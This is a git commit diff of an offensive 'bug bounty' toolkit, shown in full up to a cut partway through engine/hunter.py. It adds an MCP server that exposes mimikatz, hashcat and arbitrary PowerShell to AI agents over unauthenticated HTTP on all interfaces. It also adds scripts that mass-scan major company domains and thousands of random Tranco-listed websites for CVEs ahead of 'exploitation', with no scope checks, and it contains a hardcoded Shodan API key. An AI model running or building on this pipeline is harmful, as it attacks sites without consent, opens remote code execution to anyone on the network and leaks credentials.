The Analyzer v2.0 — 30 attack vectors, 9 new exploiters
New vectors added: - 22: SSRF Proof — cloud metadata exfiltration (CRITICAL) - 23: Prototype Pollution — Node.js client/server (HIGH) - 24: WebSocket Hijack — WS origin bypass + injection (HIGH) - 25: Mass Assignment — protected field modification (HIGH) - 26: HTTP Parameter Pollution — WAF bypass (HIGH) - 27: Insecure Deserialization — PHP/Java/Node (CRITICAL) - 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL) - 29: Web Cache Poisoning — unkeyed header injection (HIGH) - 30: CRLF Injection — HTTP response splitting (CRITICAL) All vectors PROVE exploitation by dumping data/credentials, not just detecting config issues.
This commit is contained in:
18
analyzer
18
analyzer
@@ -44,7 +44,7 @@ show_banner() {
|
||||
echo ' ██║ ██║ ██║███████╗ ██║ ██║██║ ╚████║██║ ██║██║ ██║███████╗ '
|
||||
echo ' ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ '
|
||||
echo ''
|
||||
echo -e " ${BRIGHT_YELLOW}Autonomous Bug Bounty Analyzer v1.0${NC}"
|
||||
echo -e " ${BRIGHT_YELLOW}Autonomous Bug Bounty Analyzer v2.0${NC}"
|
||||
echo -e " ${DIM}Authorized Testing Only${NC}"
|
||||
echo ''
|
||||
}
|
||||
@@ -59,7 +59,7 @@ interactive_mode() {
|
||||
echo -e " ${GREEN}1${NC}. Quick Scan — Fast recon + auto-vector selection"
|
||||
echo -e " ${GREEN}2${NC}. Deep Scan — Full recon, all vectors, exhaustive"
|
||||
echo -e " ${GREEN}3${NC}. Custom Scan — Pick your own vectors"
|
||||
echo -e " ${GREEN}4${NC}. List Vectors — Show all 21 attack vectors"
|
||||
echo -e " ${GREEN}4${NC}. List Vectors — Show all 30 attack vectors"
|
||||
echo -e " ${GREEN}5${NC}. View Reports — Browse past results"
|
||||
echo -e " ${DIM}q${NC}. Quit"
|
||||
echo ''
|
||||
@@ -169,8 +169,8 @@ deep_scan() {
|
||||
recon_target "$target" "$report"
|
||||
|
||||
# Step 3: Run ALL vectors
|
||||
print_step 3 3 "Running all 21 attack vectors"
|
||||
local all_vectors=$(seq 1 21 | tr '\n' ' ')
|
||||
print_step 3 3 "Running all 30 attack vectors"
|
||||
local all_vectors=$(seq 1 30 | tr '\n' ' ')
|
||||
run_vectors "$target" "$report" $all_vectors
|
||||
|
||||
# Generate report
|
||||
@@ -283,6 +283,15 @@ run_vectors() {
|
||||
19) func_name="vector_race" ;;
|
||||
20) func_name="vector_nosqli" ;;
|
||||
21) func_name="vector_nuclei" ;;
|
||||
22) func_name="vector_ssrf_proof" ;;
|
||||
23) func_name="vector_prototype_pollution" ;;
|
||||
24) func_name="vector_websocket_hijack" ;;
|
||||
25) func_name="vector_mass_assignment" ;;
|
||||
26) func_name="vector_hpp" ;;
|
||||
27) func_name="vector_deserialization" ;;
|
||||
28) func_name="vector_oauth_takeover" ;;
|
||||
29) func_name="vector_cache_poisoning" ;;
|
||||
30) func_name="vector_crlf_injection" ;;
|
||||
esac
|
||||
|
||||
if declare -f "$func_name" >/dev/null; then
|
||||
@@ -353,6 +362,7 @@ cli_mode() {
|
||||
shift
|
||||
custom_scan "$1"
|
||||
;;
|
||||
hunt|h) source "$ENGINE_DIR/hunter.sh" && hunter_main "${3:-500}" "${4:-auto}" ;;
|
||||
list|l) list_vectors ;;
|
||||
*) quick_scan "$1" ;;
|
||||
esac
|
||||
|
||||
333
commando_mcp_server.py
Normal file
333
commando_mcp_server.py
Normal file
@@ -0,0 +1,333 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Commando VM — MCP Tool Server
|
||||
Exposes all 112+ Commando VM tools as MCP tools via HTTP/SSE.
|
||||
Run: python3 commando_mcp_server.py
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import subprocess
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
# ─── MCP Protocol Implementation (minimal) ────────────────
|
||||
|
||||
TOOLS_DIR = Path("C:/tools")
|
||||
COMMANDS = {
|
||||
"mimikatz": str(TOOLS_DIR / "Mimikatz" / "mimikatz.exe"),
|
||||
"hashcat": str(TOOLS_DIR / "hashcat" / "hashcat.exe"),
|
||||
"bloodhound": str(TOOLS_DIR / "BloodHound"),
|
||||
"crackmapexec": str(TOOLS_DIR / "CrackMapExecWin"),
|
||||
"impacket": str(TOOLS_DIR / "impacket"),
|
||||
"sysinternals": str(TOOLS_DIR / "Sysinternals"),
|
||||
}
|
||||
|
||||
def discover_tools():
|
||||
"""Discover all executable tools in C:\\tools."""
|
||||
tools = []
|
||||
for dirpath, dirnames, filenames in os.walk(str(TOOLS_DIR)):
|
||||
for f in filenames:
|
||||
if f.endswith(('.exe', '.ps1', '.py', '.bat')):
|
||||
rel = os.path.relpath(os.path.join(dirpath, f), str(TOOLS_DIR))
|
||||
tools.append(rel.split('\\')[0]) # category
|
||||
return sorted(set(tools))
|
||||
|
||||
def run_tool(tool_name, args, timeout=60):
|
||||
"""Run a tool from Commando VM tools directory and return output."""
|
||||
# Find the tool
|
||||
for dirpath, dirnames, filenames in os.walk(str(TOOLS_DIR)):
|
||||
for f in filenames:
|
||||
if f.lower().startswith(tool_name.lower()) or tool_name.lower() in f.lower():
|
||||
exe = os.path.join(dirpath, f)
|
||||
try:
|
||||
cmd = [exe] + args.split() if args else [exe]
|
||||
result = subprocess.run(
|
||||
cmd, capture_output=True, text=True, timeout=timeout
|
||||
)
|
||||
return {
|
||||
"tool": f,
|
||||
"stdout": result.stdout[:5000],
|
||||
"stderr": result.stderr[:1000],
|
||||
"exit_code": result.returncode
|
||||
}
|
||||
except subprocess.TimeoutExpired:
|
||||
return {"tool": f, "error": f"Timed out after {timeout}s"}
|
||||
except Exception as e:
|
||||
return {"tool": f, "error": str(e)}
|
||||
return {"error": f"Tool '{tool_name}' not found in Commando VM"}
|
||||
|
||||
def run_powershell(script, timeout=60):
|
||||
"""Run a PowerShell command and return output."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["powershell", "-Command", script],
|
||||
capture_output=True, text=True, timeout=timeout
|
||||
)
|
||||
return {
|
||||
"stdout": result.stdout[:5000],
|
||||
"stderr": result.stderr[:1000],
|
||||
"exit_code": result.returncode
|
||||
}
|
||||
except subprocess.TimeoutExpired:
|
||||
return {"error": f"Timed out after {timeout}s"}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
# ─── MCP Tool Definitions ────────────────────────────────
|
||||
|
||||
def handle_request(request):
|
||||
"""Handle MCP protocol request."""
|
||||
req = json.loads(request) if isinstance(request, str) else request
|
||||
method = req.get("method", "")
|
||||
req_id = req.get("id", 1)
|
||||
|
||||
if method == "initialize":
|
||||
return {"jsonrpc": "2.0", "id": req_id, "result": {
|
||||
"protocolVersion": "0.1.0",
|
||||
"capabilities": {"tools": {}},
|
||||
"serverInfo": {"name": "commando-mcp", "version": "1.0.0"}
|
||||
}}
|
||||
|
||||
elif method == "tools/list":
|
||||
tools = discover_tools()
|
||||
categories = sorted(set(tools))
|
||||
|
||||
tool_list = [
|
||||
{
|
||||
"name": f"commando_{cat.lower().replace('-','_').replace(' ','_')}",
|
||||
"description": f"Run {cat} tools from Commando VM",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"tool": {
|
||||
"type": "string",
|
||||
"description": f"Tool name from {cat} category"
|
||||
},
|
||||
"args": {
|
||||
"type": "string",
|
||||
"description": "Command-line arguments"
|
||||
},
|
||||
"timeout": {
|
||||
"type": "number",
|
||||
"description": "Timeout in seconds (default: 60)"
|
||||
}
|
||||
},
|
||||
"required": ["tool"]
|
||||
}
|
||||
}
|
||||
for cat in categories[:50] # Max 50 tools to avoid overwhelm
|
||||
]
|
||||
|
||||
# Add generic tool runner
|
||||
tool_list.append({
|
||||
"name": "commando_run",
|
||||
"description": "Run any tool from Commando VM's C:\\tools directory",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"tool": {"type": "string", "description": "Tool name (e.g., mimikatz, hashcat, nmap)"},
|
||||
"args": {"type": "string", "description": "Command-line arguments"},
|
||||
"timeout": {"type": "number", "description": "Timeout in seconds (default: 60)"}
|
||||
},
|
||||
"required": ["tool"]
|
||||
}
|
||||
})
|
||||
|
||||
tool_list.append({
|
||||
"name": "commando_powershell",
|
||||
"description": "Run a PowerShell command on Commando VM",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"command": {"type": "string", "description": "PowerShell command to execute"},
|
||||
"timeout": {"type": "number", "description": "Timeout in seconds (default: 60)"}
|
||||
},
|
||||
"required": ["command"]
|
||||
}
|
||||
})
|
||||
|
||||
tool_list.append({
|
||||
"name": "commando_list_tools",
|
||||
"description": "List all available tools in Commando VM",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {}
|
||||
}
|
||||
})
|
||||
|
||||
return {"jsonrpc": "2.0", "id": req_id, "result": {"tools": tool_list}}
|
||||
|
||||
elif method == "tools/call":
|
||||
params = req.get("params", {})
|
||||
name = params.get("name", "")
|
||||
args = params.get("arguments", {})
|
||||
|
||||
if name == "commando_list_tools":
|
||||
tools = discover_tools()
|
||||
categories = sorted(set(tools))
|
||||
return {"jsonrpc": "2.0", "id": req_id, "result": {
|
||||
"content": [{
|
||||
"type": "text",
|
||||
"text": f"Commando VM has {len(tools)} tool categories:\n" + "\n".join(f" - {t}" for t in categories)
|
||||
}]
|
||||
}}
|
||||
|
||||
elif name == "commando_run":
|
||||
result = run_tool(args.get("tool", ""), args.get("args", ""), args.get("timeout", 60))
|
||||
output = ""
|
||||
if "stdout" in result:
|
||||
output = result["stdout"]
|
||||
elif "error" in result:
|
||||
output = f"Error: {result['error']}"
|
||||
return {"jsonrpc": "2.0", "id": req_id, "result": {
|
||||
"content": [{"type": "text", "text": output}]
|
||||
}}
|
||||
|
||||
elif name == "commando_powershell":
|
||||
result = run_powershell(args.get("command", ""), args.get("timeout", 60))
|
||||
output = result.get("stdout", result.get("error", "No output"))
|
||||
return {"jsonrpc": "2.0", "id": req_id, "result": {
|
||||
"content": [{"type": "text", "text": output}]
|
||||
}}
|
||||
|
||||
else:
|
||||
# Try running by tool name from description
|
||||
cat_name = name.replace("commando_", "").replace("_", "-")
|
||||
result = run_tool(cat_name, args.get("args", ""), args.get("timeout", 60))
|
||||
return {"jsonrpc": "2.0", "id": req_id, "result": {
|
||||
"content": [{"type": "text", "text": result.get("stdout", result.get("error", "No output"))}]
|
||||
}}
|
||||
|
||||
return {"jsonrpc": "2.0", "id": req_id, "error": {"code": -32601, "message": "Method not found"}}
|
||||
|
||||
# ─── STDIO Transport ─────────────────────────────────────
|
||||
|
||||
def main():
|
||||
"""Run MCP server over stdio (for Hermes integration)."""
|
||||
import sys
|
||||
for line in sys.stdin:
|
||||
if not line.strip():
|
||||
continue
|
||||
try:
|
||||
response = handle_request(line.strip())
|
||||
print(json.dumps(response), flush=True)
|
||||
except Exception as e:
|
||||
print(json.dumps({"jsonrpc": "2.0", "error": {"code": -32700, "message": str(e)}}), flush=True)
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
|
||||
if "--http" in sys.argv:
|
||||
# HTTP/SSE mode — for Hermes MCP integration
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
import urllib.parse
|
||||
import queue
|
||||
|
||||
PORT = int(sys.argv[sys.argv.index("--http") + 1]) if "--http" in sys.argv and len(sys.argv) > sys.argv.index("--http") + 1 else 8092
|
||||
|
||||
# Store SSE response queues per session
|
||||
sse_clients = {}
|
||||
next_session = 1
|
||||
|
||||
class MCPHandler(BaseHTTPRequestHandler):
|
||||
def do_GET(self):
|
||||
parsed = urllib.parse.urlparse(self.path)
|
||||
|
||||
if parsed.path == "/health":
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Access-Control-Allow-Origin", "*")
|
||||
self.end_headers()
|
||||
self.wfile.write(json.dumps({"status": "ok", "server": "commando-mcp", "tools": len(discover_tools())}).encode())
|
||||
return
|
||||
|
||||
if parsed.path == "/mcp" or parsed.path == "/sse":
|
||||
# SSE connection
|
||||
accept = self.headers.get("Accept", "")
|
||||
if "text/event-stream" not in accept and parsed.path == "/mcp":
|
||||
# Return initialize for non-SSE clients
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Access-Control-Allow-Origin", "*")
|
||||
self.send_header("MCP-Version", "0.1.0")
|
||||
self.end_headers()
|
||||
resp = handle_request({"jsonrpc": "2.0", "id": "init", "method": "initialize"})
|
||||
self.wfile.write(json.dumps(resp).encode())
|
||||
return
|
||||
|
||||
# SSE mode
|
||||
global next_session
|
||||
session_id = f"sess_{next_session}"
|
||||
next_session += 1
|
||||
msg_queue = queue.Queue()
|
||||
sse_clients[session_id] = msg_queue
|
||||
|
||||
endpoint = f"/mcp?session={session_id}"
|
||||
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "text/event-stream")
|
||||
self.send_header("Cache-Control", "no-cache")
|
||||
self.send_header("Connection", "keep-alive")
|
||||
self.send_header("Access-Control-Allow-Origin", "*")
|
||||
self.end_headers()
|
||||
|
||||
# Send session event
|
||||
self.wfile.write(f"event: endpoint\ndata: {endpoint}\n\n".encode())
|
||||
self.wfile.write(f"event: session_id\ndata: {session_id}\n\n".encode())
|
||||
self.wfile.flush()
|
||||
|
||||
# Keep connection open and send responses
|
||||
while True:
|
||||
try:
|
||||
msg = msg_queue.get(timeout=30)
|
||||
self.wfile.write(f"data: {json.dumps(msg)}\n\n".encode())
|
||||
self.wfile.flush()
|
||||
except queue.Empty:
|
||||
self.wfile.write(": keepalive\n\n".encode())
|
||||
self.wfile.flush()
|
||||
|
||||
else:
|
||||
self.send_response(404)
|
||||
self.end_headers()
|
||||
|
||||
def do_POST(self):
|
||||
global next_session
|
||||
content_length = int(self.headers.get("Content-Length", 0))
|
||||
body = self.rfile.read(content_length) if content_length > 0 else b"{}"
|
||||
parsed = urllib.parse.urlparse(self.path)
|
||||
|
||||
# Parse session from query string
|
||||
params = urllib.parse.parse_qs(parsed.query)
|
||||
session_id = params.get("session", [None])[0]
|
||||
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Access-Control-Allow-Origin", "*")
|
||||
self.end_headers()
|
||||
|
||||
try:
|
||||
req = json.loads(body.decode())
|
||||
resp = handle_request(req)
|
||||
|
||||
if session_id and session_id in sse_clients:
|
||||
# Send response via SSE
|
||||
sse_clients[session_id].put(resp)
|
||||
self.wfile.write(json.dumps({"jsonrpc": "2.0", "id": req.get("id"), "result": {"_delivered": "via_sse"}}).encode())
|
||||
else:
|
||||
# Direct response
|
||||
self.wfile.write(json.dumps(resp).encode())
|
||||
except Exception as e:
|
||||
self.wfile.write(json.dumps({"jsonrpc": "2.0", "error": {"code": -32700, "message": str(e)}}).encode())
|
||||
|
||||
def log_message(self, format, *args):
|
||||
pass # Suppress logs
|
||||
|
||||
print(f"Commando MCP server running on port {PORT}")
|
||||
print(f" Endpoint: http://0.0.0.0:{PORT}/mcp")
|
||||
print(f" Health: http://0.0.0.0:{PORT}/health")
|
||||
server = HTTPServer(("0.0.0.0", PORT), MCPHandler)
|
||||
server.serve_forever()
|
||||
else:
|
||||
# STDIO mode
|
||||
main()
|
||||
280
engine/autobounty.py
Normal file
280
engine/autobounty.py
Normal file
@@ -0,0 +1,280 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
AutoBounty — Autonomous Bug Bounty Pipeline
|
||||
Discovers subdomains → tech-detect → CVE scan → The Analyzer exploit
|
||||
No API keys needed (Shodan DNS is free tier)
|
||||
"""
|
||||
import subprocess, json, sys, os, time
|
||||
from pathlib import Path
|
||||
from collections import Counter
|
||||
|
||||
ANALYZER_DIR = os.path.expanduser("~/the-analyzer")
|
||||
REPORTS_DIR = f"{ANALYZER_DIR}/reports"
|
||||
HTTPX = os.path.expanduser("~/go/bin/httpx")
|
||||
NUCLEI_TEMPLATES = os.path.expanduser("~/nuclei-templates")
|
||||
SHODAN_KEY = "8IPLCrASad9cLHqo6xwzGNxOPcldnGDG"
|
||||
|
||||
os.makedirs(f"{ANALYZER_DIR}/targets", exist_ok=True)
|
||||
|
||||
def log(msg): print(f"\033[94m[*]\033[0m {msg}")
|
||||
def ok(msg): print(f"\033[92m[✓]\033[0m {msg}")
|
||||
def bad(msg): print(f"\033[91m[✗]\033[0m {msg}")
|
||||
|
||||
def run(cmd, timeout=120):
|
||||
try:
|
||||
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
|
||||
return r.stdout, r.stderr, r.returncode
|
||||
except subprocess.TimeoutExpired:
|
||||
return "", "TIMEOUT", 124
|
||||
|
||||
def shodan_subdomains(domain):
|
||||
"""Enumerate subdomains using free Shodan DNS API"""
|
||||
log(f"Enumerating subdomains for {domain}...")
|
||||
try:
|
||||
import urllib.request, json, ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
url = f"https://api.shodan.io/dns/domain/{domain}?key={SHODAN_KEY}"
|
||||
r = urllib.request.urlopen(url, context=ctx, timeout=10)
|
||||
data = json.loads(r.read().decode())
|
||||
|
||||
subdomains = data.get("subdomains", [])
|
||||
results = []
|
||||
for sd in subdomains:
|
||||
fqdn = f"{sd}.{domain}"
|
||||
# Filter out wildcard/mass-provisioned subdomains
|
||||
if not any(x in sd for x in ["clients6", "prod-dynamite", "preprod-dynamite", "client-channel"]):
|
||||
results.append(fqdn)
|
||||
|
||||
if results:
|
||||
ok(f"Found {len(results)} subdomains")
|
||||
return results
|
||||
else:
|
||||
log(f"No clean subdomains found")
|
||||
return []
|
||||
except Exception as e:
|
||||
bad(f"Shodan DNS error: {e}")
|
||||
return []
|
||||
|
||||
def probe_targets(domains, output_file):
|
||||
"""Probe targets with httpx tech detection"""
|
||||
if not domains:
|
||||
return None
|
||||
|
||||
# Write targets
|
||||
target_file = "/tmp/autobounty_targets.txt"
|
||||
with open(target_file, "w") as f:
|
||||
f.write("\n".join(domains))
|
||||
|
||||
log(f"Probing {len(domains)} targets with tech detection...")
|
||||
stdout, stderr, rc = run(
|
||||
f"cat {target_file} | {HTTPX} -rl 20 -timeout 5 -tech-detect -j -o {output_file} -silent 2>/dev/null",
|
||||
timeout=180
|
||||
)
|
||||
|
||||
count = 0
|
||||
if os.path.exists(output_file):
|
||||
with open(output_file) as f:
|
||||
count = sum(1 for _ in f)
|
||||
ok(f"{count} live hosts detected")
|
||||
return output_file
|
||||
|
||||
def run_cve_scan(targets_file, severity="all"):
|
||||
"""Run targeted CVE scan on live targets"""
|
||||
if not targets_file or not os.path.exists(targets_file):
|
||||
return None, 0
|
||||
|
||||
# Extract just URLs
|
||||
url_file = "/tmp/autobounty_urls.txt"
|
||||
run(f"python3 -c 'import json; [print(json.loads(l).get(\"url\",\"\")) for l in open(\"{targets_file}\") if l.strip()]' > {url_file}")
|
||||
|
||||
live_count = 0
|
||||
with open(url_file) as f:
|
||||
live_count = sum(1 for _ in f)
|
||||
|
||||
if live_count == 0:
|
||||
return None, 0
|
||||
|
||||
log(f"Running CVE scan on {live_count} live hosts...")
|
||||
|
||||
findings_file = f"{REPORTS_DIR}/autobounty_cve_{int(time.time())}.json"
|
||||
|
||||
if severity == "all":
|
||||
stdout, stderr, rc = run(
|
||||
f"nuclei -l {url_file} -j -rl 15 -c 8 "
|
||||
f"-t {NUCLEI_TEMPLATES}/http/cves/ "
|
||||
f"-severity critical,high,medium "
|
||||
f"-o {findings_file} "
|
||||
f"-silent 2>/dev/null",
|
||||
timeout=180
|
||||
)
|
||||
else:
|
||||
stdout, stderr, rc = run(
|
||||
f"nuclei -l {url_file} -j -rl 15 -c 8 "
|
||||
f"-t {NUCLEI_TEMPLATES}/http/cves/ "
|
||||
f"-severity critical,high "
|
||||
f"-o {findings_file} "
|
||||
f"-silent 2>/dev/null",
|
||||
timeout=120
|
||||
)
|
||||
|
||||
count = 0
|
||||
if os.path.exists(findings_file):
|
||||
with open(findings_file) as f:
|
||||
count = sum(1 for l in f if l.strip())
|
||||
|
||||
return findings_file, count
|
||||
|
||||
def print_tech_summary(tech_file):
|
||||
"""Print technology summary"""
|
||||
techs = Counter()
|
||||
with open(tech_file) as f:
|
||||
for line in f:
|
||||
try:
|
||||
d = json.loads(line)
|
||||
url = d.get("url", "")
|
||||
for t in d.get("tech", []):
|
||||
techs[t] += 1
|
||||
print(f" {url:60} {', '.join(d.get('tech', ['-']))}")
|
||||
except: pass
|
||||
|
||||
if techs:
|
||||
print(f"\n Technology breakdown:")
|
||||
for tech, cnt in techs.most_common(10):
|
||||
print(f" {tech:35} {cnt} targets")
|
||||
|
||||
def print_findings(findings_file):
|
||||
"""Print CVE findings in readable format"""
|
||||
if not findings_file or not os.path.exists(findings_file):
|
||||
return
|
||||
|
||||
findings = []
|
||||
with open(findings_file) as f:
|
||||
for line in f:
|
||||
if not line.strip(): continue
|
||||
try:
|
||||
d = json.loads(line)
|
||||
cve = "N/A"
|
||||
for ref in d.get("info", {}).get("classification", {}).get("cve", []):
|
||||
cve = ref.get("id", "N/A")
|
||||
break
|
||||
findings.append({
|
||||
"url": d.get("matched-at", "?"),
|
||||
"cve": cve,
|
||||
"severity": d.get("info", {}).get("severity", "?"),
|
||||
"name": d.get("info", {}).get("name", "?"),
|
||||
"template": d.get("template-id", ""),
|
||||
})
|
||||
except: pass
|
||||
|
||||
if findings:
|
||||
icons = {"critical": "🔴", "high": "🟠", "medium": "🟡"}
|
||||
print(f"\n CVEs found:")
|
||||
for f_data in findings:
|
||||
icon = icons.get(f_data["severity"], "⚪")
|
||||
print(f" {icon} {f_data['cve']:20} {f_data['name'][:60]}")
|
||||
print(f" {f_data['url']}")
|
||||
|
||||
# ============================================================
|
||||
# MAIN — Hunt a specific target domain
|
||||
# ============================================================
|
||||
|
||||
def hunt_target(domain):
|
||||
"""Full pipeline for a single target domain"""
|
||||
print()
|
||||
print(f"╔═══════════════════════════════════════════╗")
|
||||
print(f"║ AUTOBOUNTY — {domain:40}║")
|
||||
print(f"╚═══════════════════════════════════════════╝")
|
||||
print()
|
||||
|
||||
# Phase 1: Subdomain enumeration
|
||||
log("Phase 1: Subdomain enumeration")
|
||||
subdomains = shodan_subdomains(domain)
|
||||
|
||||
all_targets = [domain] + (subdomains if subdomains else [])
|
||||
|
||||
if not all_targets:
|
||||
bad("No targets to scan")
|
||||
return
|
||||
|
||||
ok(f"Total targets: {len(all_targets)}")
|
||||
|
||||
# Phase 2: Tech detection
|
||||
print()
|
||||
log("Phase 2: Tech detection")
|
||||
tech_file = f"/tmp/autobounty_tech_{domain.replace('.', '_')}.json"
|
||||
tech_file = probe_targets(all_targets, tech_file)
|
||||
|
||||
if not tech_file:
|
||||
bad("No live hosts found")
|
||||
return
|
||||
|
||||
print()
|
||||
print_tech_summary(tech_file)
|
||||
|
||||
# Phase 3: CVE scan
|
||||
print()
|
||||
log("Phase 3: CVE scanning")
|
||||
findings_file, count = run_cve_scan(tech_file)
|
||||
|
||||
print()
|
||||
if count > 0:
|
||||
ok(f"Found {count} CVEs!")
|
||||
print_findings(findings_file)
|
||||
else:
|
||||
log("No CVEs detected on these subdomains")
|
||||
|
||||
# Phase 4: The Analyzer exploit
|
||||
if count > 0 and findings_file:
|
||||
print()
|
||||
log("Phase 4: Ready for deep exploitation")
|
||||
log("Run: ./analyzer <vulnerable-url> deep")
|
||||
|
||||
print()
|
||||
print("=" * 60)
|
||||
print(f" Target: {domain}")
|
||||
print(f" Subdomains: {len(subdomains) if subdomains else 0}")
|
||||
print(f" Live: {sum(1 for _ in open(tech_file)) if os.path.exists(tech_file) else 0}")
|
||||
print(f" CVEs: {count}")
|
||||
print("=" * 60)
|
||||
|
||||
# ============================================================
|
||||
# CONTINUOUS SCAN (cron-ready)
|
||||
# ============================================================
|
||||
|
||||
def scan_known_targets():
|
||||
"""Scan all known bug bounty targets for new subdomains"""
|
||||
targets = [
|
||||
"google.com", "facebook.com", "twitter.com", "instagram.com",
|
||||
"github.com", "gitlab.com", "atlassian.com", "slack.com",
|
||||
"shopify.com", "stripe.com", "paypal.com", "discord.com",
|
||||
"reddit.com", "twitch.com", "spotify.com", "cloudflare.com",
|
||||
"digitalocean.com", "magento.com", "salesforce.com", "hubspot.com",
|
||||
]
|
||||
|
||||
for target in targets:
|
||||
print(f"\n{'='*60}")
|
||||
hunt_target(target)
|
||||
|
||||
def print_usage():
|
||||
print("Usage:")
|
||||
print(" python3 autobounty.py <domain> # Hunt a specific target")
|
||||
print(" python3 autobounty.py all # Scan all known targets")
|
||||
print(" python3 autobounty.py watch <domain> # Setup daily cron scan")
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2:
|
||||
print_usage()
|
||||
sys.exit(1)
|
||||
|
||||
mode = sys.argv[1]
|
||||
|
||||
if mode == "all":
|
||||
scan_known_targets()
|
||||
elif mode == "watch" and len(sys.argv) >= 3:
|
||||
domain = sys.argv[2]
|
||||
print(f"Would setup cron for daily scan of {domain}")
|
||||
hunt_target(domain)
|
||||
else:
|
||||
hunt_target(mode)
|
||||
561
engine/hunter.py
Normal file
561
engine/hunter.py
Normal file
@@ -0,0 +1,561 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
No-API Vulnerability Hunter
|
||||
Discovers vulnerable websites using only free/open data sources
|
||||
Pipeline: Target Discovery → Tech Detection → CVE Scanning → Exploitation
|
||||
"""
|
||||
import subprocess, json, sys, os, time
|
||||
from pathlib import Path
|
||||
from collections import Counter
|
||||
from urllib.parse import urlparse
|
||||
|
||||
ANALYZER_DIR = os.path.expanduser("~/the-analyzer")
|
||||
REPORTS_DIR = f"{ANALYZER_DIR}/reports"
|
||||
TARGETS_DIR = f"{ANALYZER_DIR}/targets"
|
||||
WORK_DIR = "/tmp/analyzer-hunter"
|
||||
HTTPX = os.path.expanduser("~/go/bin/httpx")
|
||||
NUCLEI_TEMPLATES = os.path.expanduser("~/nuclei-templates")
|
||||
|
||||
os.makedirs(WORK_DIR, exist_ok=True)
|
||||
os.makedirs(REPORTS_DIR, exist_ok=True)
|
||||
os.makedirs(TARGETS_DIR, exist_ok=True)
|
||||
|
||||
def log(msg): print(f"\033[94m[*]\033[0m {msg}")
|
||||
def ok(msg): print(f"\033[92m[✓]\033[0m {msg}")
|
||||
def warn(msg): print(f"\033[93m[!]\033[0m {msg}")
|
||||
def bad(msg): print(f"\033[91m[✗]\033[0m {msg}")
|
||||
|
||||
def run(cmd, timeout=120):
|
||||
"""Run a shell command and return output"""
|
||||
try:
|
||||
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
|
||||
return r.stdout, r.stderr, r.returncode
|
||||
except subprocess.TimeoutExpired:
|
||||
return "", "TIMEOUT", 124
|
||||
|
||||
# ============================================================
|
||||
# PHASE 1: TARGET DISCOVERY
|
||||
# ============================================================
|
||||
|
||||
def discover_tranco_deep(count=2000, offset=50000):
|
||||
"""Get mid-tier sites from Tranco (50K-52K range)"""
|
||||
log(f"Fetching Tranco sites (offset={offset}, count={count})...")
|
||||
|
||||
# Download if not cached
|
||||
csv_file = f"{WORK_DIR}/top-1m.csv"
|
||||
if not os.path.exists(csv_file):
|
||||
out, _, _ = run("curl -skL https://tranco-list.eu/top-1m.csv.zip -o /tmp/t1m.zip && unzip -o /tmp/t1m.zip -d /tmp/tranco/ 2>/dev/null && echo OK", timeout=30)
|
||||
if "OK" in out:
|
||||
os.system("cp /tmp/tranco/top-1m.csv " + csv_file)
|
||||
|
||||
if os.path.exists(csv_file):
|
||||
targets = []
|
||||
with open(csv_file) as f:
|
||||
for i, line in enumerate(f):
|
||||
if i < offset: continue
|
||||
if i >= offset + count: break
|
||||
parts = line.strip().split(",")
|
||||
if len(parts) >= 2:
|
||||
targets.append(parts[1].strip())
|
||||
|
||||
outfile = f"{WORK_DIR}/tranco_deep_targets.txt"
|
||||
with open(outfile, "w") as f:
|
||||
f.write("\n".join(targets))
|
||||
ok(f"{len(targets)} targets from Tranco (offset {offset})")
|
||||
return outfile
|
||||
|
||||
def discover_bug_bounty_targets():
|
||||
"""Add known bug bounty targets for subdomain recon"""
|
||||
targets = [
|
||||
# High-value targets that often have bug bounty programs
|
||||
"hackerone.com", "bugcrowd.com", "intigriti.com",
|
||||
"yeswehack.com", "synack.com", "cobalt.io",
|
||||
# Major platforms with bounty programs
|
||||
"facebook.com", "twitter.com", "instagram.com", "linkedin.com",
|
||||
"github.com", "gitlab.com", "atlassian.com", "slack.com",
|
||||
"shopify.com", "stripe.com", "square.com", "paypal.com",
|
||||
"discord.com", "reddit.com", "twitch.com", "spotify.com",
|
||||
"cloudflare.com", "digitalocean.com", "heroku.com",
|
||||
# E-commerce (user's niche)
|
||||
"magento.com", "shopware.com", "woocommerce.com",
|
||||
"bigcommerce.com", "salesforce.com", "hubspot.com",
|
||||
# Google
|
||||
"google.com", "youtube.com", "gmail.com", "android.com",
|
||||
# Microsoft
|
||||
"microsoft.com", "office.com", "azure.com", "live.com",
|
||||
# Apple
|
||||
"apple.com", "icloud.com",
|
||||
]
|
||||
|
||||
# Also add targets from the Analyzer's list
|
||||
analyzer_targets = f"{TARGETS_DIR}/top50.txt"
|
||||
if os.path.exists(analyzer_targets):
|
||||
with open(analyzer_targets) as f:
|
||||
targets.extend([l.strip() for l in f if l.strip()])
|
||||
|
||||
outfile = f"{WORK_DIR}/bb_targets.txt"
|
||||
with open(outfile, "w") as f:
|
||||
